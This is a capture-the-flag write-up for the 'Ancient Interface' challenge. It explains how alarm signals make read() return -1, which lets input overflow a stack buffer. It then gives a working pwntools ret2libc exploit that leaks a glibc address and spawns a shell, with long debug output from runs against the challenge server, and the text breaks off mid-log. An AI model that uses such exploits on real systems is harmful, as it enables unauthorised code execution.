Ancient Interface
37 minutes to read
We are given a 64-bit binary called ancient_interface
:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Moreover, we are given a Dockerfile
and the C source code of the program:
$ tree
.
├── build-docker.sh
├── challenge
│ ├── ancient_interface
│ ├── ancient_interface.c
│ └── flag.txt
└── Dockerfile
1 directory, 5 files
Source code analysis
No reverse engineering is needed for this challenge since we have the original source code:
#include <stdio.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <signal.h>
#include <stdlib.h>
#include <sys/time.h>
#include <time.h>
// gcc ancient_interface.c -lrt -no-pie -s -o ancient_interface
#define USER "user"
#define HOSTNAME "host"
#define PROMPT (USER "@" HOSTNAME "$ ")
#define ALARM_HIT "Alarm has been hit!\n"
#define ALARM_HELP "alarm <seconds>\n"
#define ECHO_HELP "echo <$variable/string>\n"
#define READ_HELP "read <amount of bytes> <variable>\n"
#define ARRAY_SIZE(arr) (sizeof(arr) / sizeof(arr[0]))
struct commands {
const char *s;
int (*func)();
};
struct kv {
char *key;
char *val;
};
struct variables {
int32_t size;
struct kv *kv;
};
int cmd_exit(char *params);
int cmd_alarm(char *params);
int cmd_echo(char *params);
int cmd_read(char *params);
int cmd_whoami(char *params);
int cmd_vars(char *params);
static const struct commands CMDS[] = {
{ "exit", &cmd_exit },
{ "alarm", &cmd_alarm },
{ "echo", &cmd_echo },
{ "read", &cmd_read },
{ "whoami", &cmd_whoami },
{ "vars", &cmd_vars },
};
static struct variables VARS;
void alarm_handler()
{
// ...
}
void setup()
{
// ...
}
char *get_var(char *var)
{
// ...
}
int put_var(char *key, char *val)
{
// ...
}
int cmd_exit(char *params)
{
// ...
}
int cmd_alarm(char *params)
{
// ...
}
int cmd_echo(char *params)
{
// ...
}
int cmd_read(char *params)
{
// ...
}
int cmd_whoami(char *params)
{
// ...
}
int cmd_vars(char *params)
{
// ...
}
int main()
{
char buf[4096];
char *p;
char *params;
int32_t ret;
int32_t found;
setup();
while (1)
{
printf(PROMPT);
memset(buf, '\0', sizeof(buf));
ret = read(0, buf, sizeof(buf) - 1);
if (ret <= 1)
continue;
buf[ret - 1] = '\0';
p = strchr(buf, ' ');
if (p != NULL)
{
*p++ = '\0';
while (*p == ' ')
p++;
params = p;
}
else
{
params = NULL;
}
found = 0;
for (int32_t i = 0; i < ARRAY_SIZE(CMDS); i++)
{
if (strcmp(buf, CMDS[i].s) == 0)
{
found = 1;
CMDS[i].func(params);
break;
}
}
if (!found)
printf("%s: command not found\n", buf);
}
return 0;
}
This program provides a simple shell interface. This are all the available functions:
$ challenge/ancient_interface
user@host$ whoami
user
user@host$ echo asdf
asdf
user@host$ read 8 x
12345678
user@host$ echo $x
12345678
user@host$ vars
x
user@host$ alarm 1
user@host$ Alarm has been hit!
user@host$ exit
As can be seen, the main
function takes user input and separates the command from the arguments, then looks for the available commands and executes it with the specified parameters.
Most of the code is correct. Let’s look at the functions one by one.
Command whoami
This one is just a dummy function:
int cmd_whoami(char *params)
{
printf("%s\n", USER);
return 0;
}
Command vars
This one shows information about variables:
int cmd_vars(char *params)
{
for (int32_t i = 0; i < VARS.size; i++)
{
if (VARS.kv[i].key != NULL)
{
printf("%s\n", VARS.kv[i].key);
}
}
return 0;
}
Variables are managed with get_var
and put_var
:
char *get_var(char *var)
{
char *p = NULL;
for (int32_t i = 0; i < VARS.size; i++)
{
if (VARS.kv[i].key == NULL)
continue;
if (strcmp(var, VARS.kv[i].key) == 0)
{
p = VARS.kv[i].val;
break;
}
}
return p;
}
int put_var(char *key, char *val)
{
int32_t idx;
idx = -1;
for (int32_t i = 0; i < VARS.size; i++)
{
if (VARS.kv[i].key == NULL)
{
idx = i;
break;
}
}
if (idx < 0)
return 1;
VARS.kv[idx].key = strdup(key);
VARS.kv[idx].val = strdup(val);
if (VARS.kv[idx].key == NULL || VARS.kv[idx].val == NULL)
return 1;
return 0;
}
Again, the VARS
structure and the way it is used is safe.
Command exit
This one just exits the program and frees memory:
int cmd_exit(char *params)
{
for (int32_t i = 0; i < VARS.size; i++)
{
if (VARS.kv[i].key != NULL)
free(VARS.kv[i].key);
if (VARS.kv[i].val != NULL)
free(VARS.kv[i].val);
}
exit(EXIT_SUCCESS);
}
Command echo
This function prints the same information provided or shows the value of a given variable (starting with $
):
int cmd_echo(char *params)
{
int32_t found;
char *val;
if (params == NULL)
{
printf(ECHO_HELP);
return 1;
}
if (*params == '$')
{
val = get_var(params + 1);
if (val == NULL)
printf("%s is not defined\n", params);
else
printf("%s\n", val);
}
else
{
printf("%s\n", params);
}
return 0;
}
Nothing strange here.
Command read
Here we have the way to set variables:
int cmd_read(char *params)
{
char buf[4096] = { 0 };
char *p;
int32_t ret;
int32_t read_bytes;
uint32_t amnt;
if (params == NULL)
{
printf(READ_HELP);
return 1;
}
p = strchr(params, ' ');
if (p == NULL)
{
printf(READ_HELP);
return 1;
}
*p = '\0';
if (get_var(p + 1) != NULL)
{
printf("read: variable $%s already exists\n", p + 1);
return 1;
}
amnt = atoi(params);
if (amnt == 0 || amnt >= sizeof(buf))
{
printf("read: invalid size\n");
return 1;
}
read_bytes = 0;
do
{
read_bytes += read(0, buf + read_bytes, amnt - read_bytes);
} while (read_bytes != amnt);
getchar();
if (put_var(p + 1, buf) != 0)
printf("read: maximum amount of variables reached\n");
return 0;
}
The syntax is easy, just read <amount> <variable>
, and the program will use read
with the specified amount of characters.
Command alarm
We also have the chance to set an alarm:
void alarm_handler()
{
write(1, ALARM_HIT, sizeof(ALARM_HIT));
}
// ...
int cmd_alarm(char *params)
{
int32_t seconds;
struct sigevent sev;
struct itimerspec its;
static timer_t tmid;
if (params == NULL)
{
printf(ALARM_HELP);
return 1;
}
seconds = atoi(params);
if (seconds <= 0)
return 1;
sev.sigev_notify = SIGEV_SIGNAL;
sev.sigev_signo = SIGALRM;
if (timer_create(CLOCK_REALTIME, &sev, &tmid) < 0)
{
perror("timer_create");
return 1;
}
its.it_value.tv_sec = seconds;
its.it_value.tv_nsec = 0;
its.it_interval.tv_sec = 0;
its.it_interval.tv_nsec = 0;
if (timer_settime(tmid, 0, &its, NULL) < 0)
{
perror("timer_settime");
return 1;
}
return 0;
}
To sum up, the functionality of all commands is here again:
$ challenge/ancient_interface
user@host$ whoami
user
user@host$ echo asdf
asdf
user@host$ read 8 x
12345678
user@host$ echo $x
12345678
user@host$ vars
x
user@host$ alarm 1
user@host$ Alarm has been hit!
user@host$ exit
The bug
When I read all the functions, I saw some strange code in cmd_read
:
int cmd_read(char *params)
{
// ...
amnt = atoi(params);
if (amnt == 0 || amnt >= sizeof(buf))
{
printf("read: invalid size\n");
return 1;
}
read_bytes = 0;
do
{
read_bytes += read(0, buf + read_bytes, amnt - read_bytes);
} while (read_bytes != amnt);
getchar();
if (put_var(p + 1, buf) != 0)
printf("read: maximum amount of variables reached\n");
return 0;
}
The way it uses read
is very strange. It looks like the variable size must be exactly the value entered in the read
command:
$ challenge/ancient_interface
user@host$ read 8 q
asdf
a
a
user@host$ echo $q
asdf
a
a
It does not stop at the new line character.
I also thought that amnt
was vulnerable to Integer Overflow, so that entering a negative number will give us the ability to use read
with a huge amount of bytes to read. But it was not…
Since we have got the source code, we can add some debugging statements and recompile the code:
int cmd_read(char *params)
{
// ...
amnt = atoi(params);
printf("[DEBUG] amnt = %d (%u). sizeof(buf) = %ld\n", amnt, amnt, sizeof(buf));
if (amnt == 0 || amnt >= sizeof(buf))
{
printf("read: invalid size\n");
return 1;
}
read_bytes = 0;
do
{
printf("Reading %d bytes\n", amnt - read_bytes);
int ret = read(0, buf + read_bytes, amnt - read_bytes);
read_bytes += ret;
printf("Read %d bytes; ret = %d\n", read_bytes, ret);
} while (read_bytes != amnt);
getchar();
if (put_var(p + 1, buf) != 0)
printf("read: maximum amount of variables reached\n");
return 0;
}
$ ./test
user@host$ read 8 q
[DEBUG] amnt = 8 (8). sizeof(buf) = 4096
Reading 8 bytes
asdf
Read 5 bytes; ret = 5
Reading 3 bytes
Read 6 bytes; ret = 1
Reading 2 bytes
q
Read 8 bytes; ret = 2
as
user@host$ s: command not found
user@host$ read -4294967196 w
[DEBUG] amnt = 100 (100). sizeof(buf) = 4096
Reading 100 bytes
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Read 100 bytes; ret = 100
user@host$ AAAA: command not found
Even using Ctrl-D
, we can’t exit the do
-while
loop:
user@host$ read 8 e
[DEBUG] amnt = 8 (8). sizeof(buf) = 4096
Reading 8 bytes
Read 0 bytes; ret = 0
Reading 8 bytes
Read 0 bytes; ret = 0
Reading 8 bytes
Read 0 bytes; ret = 0
Reading 8 bytes
Read 0 bytes; ret = 0
Reading 8 bytes
asdf
Read 5 bytes; ret = 5
Reading 3 bytes
Read 5 bytes; ret = 0
Reading 3 bytes
Read 5 bytes; ret = 0
Reading 3 bytes
Read 5 bytes; ret = 0
Reading 3 bytes
asd
Read 8 bytes; ret = 3
user@host$
At this point, we must take a look how the read
function works. In fact, there are some returning values that can be negative, so the ammount of bytes to be read will increase:
EINTR
The call was interrupted by a signal before any data was read; see signal(7).
Actually, we have a way to set alarms. Let’s try:
$ ./test
user@host$ alarm 5
user@host$ read 8 p
[DEBUG] amnt = 8 (8). sizeof(buf) = 4096
Reading 8 bytes
Alarm has been hit!
Read -1 bytes; ret = -1
Reading 9 bytes
123456789
Read 8 bytes; ret = 9
zsh: segmentation fault ./test
Great! We have crashed the program with a Buffer Overflow vulnerability.
Exploit strategy
In order to exploit the Buffer Overflow vulnerability, we need to set a lot of alarms to tell read
to read enough bytes to enter a ROP chain. Once we achieve that, we will do a typical ret2libc attack (one ROP chain to leak an address from Glibc and bypass ASLR and another ROP chain to call system("/bin/sh")
). For more information on ret2libc attacks, refer to Here’s a LIBC, Shooting Star and Notepad as a Service.
Exploit development
Let’s see how many bytes we must enter to control the return address. For that, we must attach GDB to the Python exploit, since alarms in GDB won’t cause read
to return -1
. We will use these functions:
def send_payload(payload: bytes):
for _ in range(48):
p.sendlineafter(PROMPT, b'alarm 2')
p.sendlineafter(PROMPT, b'read 8 q')
sleep(3)
gdb.attach(p, 'continue')
p.sendline(payload.ljust(8 + 48, b'A'))
def main():
rop = ROP(elf)
send_payload(cyclic(100))
p.interactive()
if __name__ == '__main__':
p = get_process()
main()
Notice that GDB is attached after the alarms are triggered. Also notice that we set a total of 48
alarms, so that we get an overflow of 48
bytes. Indeed, the program crashes. Using cyclic
from pwntools
we can tell how many characters we need to control the return address:
gef➤ x/s $rsp
0x7ffe2251d1a8: "caaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaa"
gef➤ shell pwn cyclic -l caaa
8
So, we only need a padding of 8
characters. After that, we will enter our ROP chain.
As said before, the exploit is just a ret2libc attack. Here’s the rest of the exploit. There’s nothing different from other ret2libc attacks, just the way to get the Buffer Overflow vulnerability:
def main():
rop = ROP(elf)
payload = b'A' * 8
payload += p64(rop.rdi.address)
payload += p64(elf.got.printf)
payload += p64(elf.plt.puts)
payload += p64(0x401290)
send_payload(payload)
printf_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\0'))
p.info(f'Leaked printf() address: {hex(printf_addr)}')
glibc.address = printf_addr - glibc.sym.printf
p.success(f'Glibc base address: {hex(glibc.address)}')
payload = b'A' * 8
payload += p64(rop.rdi.address)
payload += p64(next(glibc.search(b'/bin/sh')))
payload += p64(rop.ret.address)
payload += p64(glibc.sym.system)
send_payload(payload)
p.interactive()
If we remove GDB from send_payload
, we will get a shell locally:
$ python3 solve.py
[*] './challenge/ancient_interface'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Starting local process './challenge/ancient_interface': pid 2874152
[*] Loaded 17 cached gadgets for 'challenge/ancient_interface'
[DEBUG] Received 0xb bytes:
b'user@host$ '
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
[DEBUG] Received 0xb bytes:
b'user@host$ '
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
...
[DEBUG] Received 0xb bytes:
b'user@host$ '
[DEBUG] Sent 0x9 bytes:
b'read 8 q\n'
[DEBUG] Sent 0x39 bytes:
00000000 41 41 41 41 41 41 41 41 43 1d 40 00 00 00 00 00 │AAAA│AAAA│C·@·│····│
00000010 48 40 40 00 00 00 00 00 74 11 40 00 00 00 00 00 │H@@·│····│t·@·│····│
00000020 90 12 40 00 00 00 00 00 41 41 41 41 41 41 41 41 │··@·│····│AAAA│AAAA│
00000030 41 41 41 41 41 41 41 41 0a │AAAA│AAAA│·│
00000039
[DEBUG] Received 0x3f7 bytes:
00000000 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
00000010 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
00000020 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
00000030 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
00000040 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
00000050 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
00000060 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
00000070 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
00000080 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
00000090 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
000000a0 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
000000b0 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
000000c0 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
000000d0 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
000000e0 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
000000f0 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
00000100 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
00000110 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
00000120 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
00000130 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
00000140 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
00000150 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
00000160 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
00000170 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
00000180 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
00000190 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
000001a0 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
000001b0 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
000001c0 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
000001d0 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
000001e0 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
000001f0 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
00000200 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
00000210 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
00000220 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
00000230 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
00000240 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
00000250 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
00000260 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
00000270 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
00000280 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
00000290 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
000002a0 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
000002b0 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
000002c0 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
000002d0 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
000002e0 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
000002f0 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
00000300 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
00000310 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
00000320 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
00000330 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
00000340 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
00000350 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
00000360 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
00000370 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
00000380 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
00000390 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
000003a0 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
000003b0 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
000003c0 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
000003d0 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
000003e0 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
000003f0 90 fc ea 92 f6 7f 0a │····│···│
000003f7
[*] Leaked printf() address: 0x7ff692eafc90
[+] Glibc base address: 0x7ff692e4e000
[DEBUG] Received 0x16 bytes:
b'user@host$ user@host$ '
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
[*] Leaked printf() address: 0x7ff692eafc90
[+] Glibc base address: 0x7ff692e4e000
[DEBUG] Received 0x16 bytes:
b'user@host$ user@host$ '
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
...
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
[DEBUG] Received 0x16 bytes:
b'user@host$ user@host$ '
[DEBUG] Sent 0x9 bytes:
b'read 8 q\n'
[DEBUG] Sent 0x39 bytes:
00000000 41 41 41 41 41 41 41 41 43 1d 40 00 00 00 00 00 │AAAA│AAAA│C·@·│····│
00000010 bd 25 00 93 f6 7f 00 00 1a 10 40 00 00 00 00 00 │·%··│····│··@·│····│
00000020 90 02 ea 92 f6 7f 00 00 41 41 41 41 41 41 41 41 │····│····│AAAA│AAAA│
00000030 41 41 41 41 41 41 41 41 0a │AAAA│AAAA│·│
00000039
[*] Switching to interactive mode
user@host$ [DEBUG] Received 0x3f0 bytes:
00000000 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
00000010 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
00000020 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
00000030 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
00000040 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
00000050 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
00000060 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
00000070 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
00000080 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
00000090 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
000000a0 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
000000b0 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
000000c0 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
000000d0 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
000000e0 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
000000f0 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
00000100 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
00000110 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
00000120 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
00000130 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
00000140 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
00000150 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
00000160 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
00000170 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
00000180 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
00000190 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
000001a0 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
000001b0 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
000001c0 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
000001d0 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
000001e0 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
000001f0 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
00000200 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
00000210 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
00000220 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
00000230 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
00000240 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
00000250 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
00000260 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
00000270 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
00000280 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
00000290 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
000002a0 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
000002b0 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
000002c0 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 │een │hit!│··Al│arm │
000002d0 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 │has │been│ hit│!··A│
000002e0 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 │larm│ has│ bee│n hi│
000002f0 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 │t!··│Alar│m ha│s be│
00000300 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 │en h│it!·│·Ala│rm h│
00000310 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c │as b│een │hit!│··Al│
00000320 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 │arm │has │been│ hit│
00000330 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 │!··A│larm│ has│ bee│
00000340 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 │n hi│t!··│Alar│m ha│
00000350 73 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 │s be│en h│it!·│·Ala│
00000360 72 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 │rm h│as b│een │hit!│
00000370 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e │··Al│arm │has │been│
00000380 20 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 │ hit│!··A│larm│ has│
00000390 20 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 │ bee│n hi│t!··│Alar│
000003a0 6d 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a │m ha│s be│en h│it!·│
000003b0 00 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 │·Ala│rm h│as b│een │
000003c0 68 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 │hit!│··Al│arm │has │
000003d0 62 65 65 6e 20 68 69 74 21 0a 00 41 6c 61 72 6d │been│ hit│!··A│larm│
000003e0 20 68 61 73 20 62 65 65 6e 20 68 69 74 21 0a 00 │ has│ bee│n hi│t!··│
000003f0
Alarm has been hit!
\x00larm has been hit!
\x00larm has been hit!
...
\x00larm has been hit!
\x00larm has been hit!
\x00$ ls
[DEBUG] Sent 0x3 bytes:
b'ls\n'
[DEBUG] Received 0x44 bytes:
b'build-docker.sh challenge core Dockerfile solve.py\ttest test.c\n'
build-docker.sh challenge core Dockerfile solve.py test test.c
Curiously, if we unset context.log_level = 'DEBUG'
, the exploit fails. Probably some IO issues.
Flag
Let’s run the exploit remotely (my local version of Glibc is the same in remote, from Ubuntu 20.04):
$ python3 solve.py 46.101.10.90:30565
[*] './challenge/ancient_interface'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to 46.101.10.90 on port 30565: Done
[*] Loaded 17 cached gadgets for 'challenge/ancient_interface'
[DEBUG] Received 0xb bytes:
b'user@host$ '
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
[DEBUG] Received 0xb bytes:
b'user@host$ '
[DEBUG] Sent 0x8 bytes:
b'alarm 2\n'
...
[DEBUG] Received 0xb bytes:
b'user@host$ '
[DEBUG] Sent 0x9 bytes:
b'read 8 q\n'
[DEBUG] Sent 0x39 bytes:
00000000 41 41 41 41 41 41 41 41 43 1d 40 00 00 00 00 00 │AAAA│AAAA│C·@·│····│
00000010 48 40 40 00 00 00 00 00 74 11 40 00 00 00 00 00 │H@@·│····│t·@·│····│
00000020 90 12 40 00 00 00 00 00 41 41 41 41 41 41 41 41 │··@·│····│AAAA│AAAA│
00000030 41 41 41 41 41 41 41 41 0a │AAAA│AAAA│·│
00000039
[DEBUG] Received 0x3f0 bytes:
00000000 41 6c 61 72 6d 20 68 61 73 20 62 65 65 6e 20 68 │Alar│m ha│s be│en h│
00000010 69 74 21 0a 00 41 6c 61 72 6d 20 68 61 73 20 62 │it!·│·Ala│rm h│as b│
